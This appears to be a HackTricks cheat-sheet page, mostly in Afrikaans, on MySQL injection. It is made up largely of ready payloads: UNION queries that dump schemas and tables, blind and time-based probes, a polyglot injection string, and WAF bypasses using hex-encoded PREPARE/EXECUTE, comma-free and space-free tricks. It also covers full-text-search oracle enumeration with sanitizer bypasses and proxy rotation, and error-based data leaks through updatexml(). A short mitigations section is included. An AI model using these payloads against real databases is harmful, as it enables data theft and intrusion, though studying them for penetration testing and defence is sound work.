MySQL injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Opmerkings
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Interessante Funksies
Bevestig Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Nuttige funksies
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Alle injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
van https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Vloei
Onthou dat jy in “moderne” weergawes van MySQL “information_schema.tables” kan vervang vir “mysql.innodb_table_stats” (Dit kan nuttig wees om WAFs te omseil).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Slegs 1 waarde
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Bepaal die aantal kolomme
Gebruik ’n eenvoudige ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Leer hier verskeie opsies om abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Uitvoering van queries deur Prepared Statements
Wanneer stacked queries toegelaat word, kan dit moontlik wees om WAFs te omseil deur aan ’n veranderlike die hex representation van die query wat jy wil uitvoer toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL statements te gebruik om uiteindelik die query uit te voer. Iets soos dit:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Vir meer inligting verwys asseblief na this blog post.
Information_schema alternatiewe
Onthou dat in “moderne” weergawes van MySQL kan jy information_schema.tables vervang deur mysql.innodb_table_stats of sys.x$schema_flattened_keys of sys.schema_table_statistics
MySQLinjection without COMMAS
Select 2 kolomme sonder enige komma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Waardes terugkry sonder die kolomnaam
As jy op ’n stadium die naam van die tabel ken maar nie die name van die kolomme binne die tabel nie, kan jy probeer om te bepaal hoeveel kolomme daar is deur iets soos die volgende uit te voer:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Gestel daar is 2 kolomme (waarvan die eerste die ID is) en die ander die flag, kan jy probeer om die inhoud van die flag karakter vir karakter te bruteforce:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Meer inligting by https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Sommige toepassings saneer of ontleed gebruikersinvoer met funksies soos sscanf("%128s", buf) wat by die eerste spasiekarakter stop.
Omdat MySQL die reeks /**/ as ’n kommentaar en as witspasie beskou, kan dit gebruik word om normale spasies heeltemal uit die payload te verwyder terwyl die query sintakties geldig bly.
Voorbeeld time-based blind injection wat die spasie-filter omseil:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Wat die databasis ontvang as:
' OR SLEEP(5)-- -'
Dit is veral handig wanneer:
- Die beheerbare buffer in grootte beperk is (bv.
%128s) en spasies die inset voortydig sou beëindig. - Inspuiting deur HTTP headers of ander velde waar normale spasies verwyder word of as skeiers gebruik word.
- Gekombineer met
INTO OUTFILEprimitives om volle pre-auth RCE te bereik (sien die MySQL File RCE afdeling).
MySQL geskiedenis
Jy kan ander uitvoerings binne MySQL sien deur die tabel te lees: sys.x$statement_analysis
Weergawe alternatiefs
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator misbruik (WOR)
Dit is nie ’n klassieke SQL injection nie. Wanneer ontwikkelaars gebruikersinsette deurgee aan MATCH(col) AGAINST('...' IN BOOLEAN MODE), voer MySQL ’n ryk stel Boolean search operators binne die aangehaalde string uit. Baie WAF/SAST-reëls fokus slegs op die verbreking van aanhalings en mis hierdie oppervlak.
Belangrike punte:
- Operateurs word binne die aanhalings geëvalueer:
+(moet insluit),-(moet nie insluit nie),*(wildcard aan die einde),"..."(presiese frase),()(groepvorming),</>/~(gewigte). Sien MySQL docs. - Dit maak teenwoordigheid/afwesigheid- en voorvoegseltoetse moontlik sonder om uit die string-literal te breek, bv.
AGAINST('+admin*' IN BOOLEAN MODE)om te kontroleer vir enige term wat metadminbegin. - Nuttig om orakels te bou soos “bevat enige ry ’n term met voorvoegsel X?” en om verborge strings te enumereer deur voorvoegsel-uitbreiding.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: indien die backend 1–2 agterstaande karakters per woord afknyp via ’n regex soos
(\b.{1,2})(\s)|(\b.{1,2}$), stuurprefix*ZZ. Die cleaner sny dieZZaf maar laat die*oor, soprefix*bly oor. - Early-break stripping: as die kode operateurs per woord verwyder maar die verwerking stop wanneer dit ’n token vind met lengte ≥ min length, stuur twee tokens: die eerste is ’n rommeltoken wat aan die lengtedrempel voldoen, die tweede dra die operator payload. Byvoorbeeld:
&&&&& +jack*ZZ→ after cleaning:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26is&,%2Bis+. Die agterstexD(of enige twee letters) word deur die skoonmaker verwyder, terwyl{FUZZ}*behoue bly.- Beskou ’n redirect as “match” en ’n foutblad as “no match”. Moet nie redirects outomaties volg nie om die oracle sigbaar te hou.
Enumeration workflow:
- Begin met
{FUZZ} = a…z,0…9om treffers vir die eerste letter te vind via+a*,+b*, … - Vir elke positiewe voorvoegsel, vertak:
a* → aa* / ab* / …. Herhaal om die hele string te herstel. - Versprei versoeke (proxies, meerdere rekeninge) as die app vloedbeheer afdwing.
Why titles often leak while contents don’t:
- Sommige apps pas sigbaarheidskontroles eers toe ná ’n voorlopige MATCH op titels/onderwerpe. As die control-flow afhang van die “any results?”-uitkoms voordat filterering plaasvind, ontstaan bestaan leaks.
Mitigations:
- As jy nie Boolean-logika benodig nie, gebruik
IN NATURAL LANGUAGE MODEof hanteer gebruikerinvoer as ’n literal (escape/quote deaktiveer operateurs in ander modi). - As Boolean-modus vereis word, verwyder of neutraliseer alle Boolean-operateurs (
+ - * " ( ) < > ~) vir elke token (geen vroeë breuke nie) ná tokenisering. - Pas sigbaarheids-/outorisasiefilters toe voor MATCH, of unifiseer reaksies (konstante tyd/status) wanneer die resultset leeg vs. nie-leeg is.
- Hersien analoog-kenmerke in ander DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSparseer ook operateurs binne aangehaalde argumente.
Notes:
- Prepared statements beskerm nie teen semantiese misbruik van
REGEXPof search operators nie. ’n Invoer soos.*bly ’n permissiewe regex selfs binne ’n aangehaaldeREGEXP '.*'. Gebruik allow-lists of eksplisiete guards.
Error-based exfiltration via updatexml()
Wanneer die toepassing slegs SQL-foute teruggee (nie rou resultate nie), kan jy data leak deur MySQL-foutstringe:
dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}
updatexml() veroorsaak ’n XPATH-fout wat die gekonkateneerde string inbêdig, sodat die waarde van die binneste SELECT in die foutrespons tussen afskeiders (0x7e = ~) verskyn. Herhaal LIMIT 1 OFFSET N om rye te enumereer. Dit werk selfs wanneer die UI “boolean” toetse afdwing omdat die foutboodskap steeds vertoon word.
Ander MYSQL injection gidse
Verwysings
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
- LookOut: RCE and internal access on Looker (Tenable)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


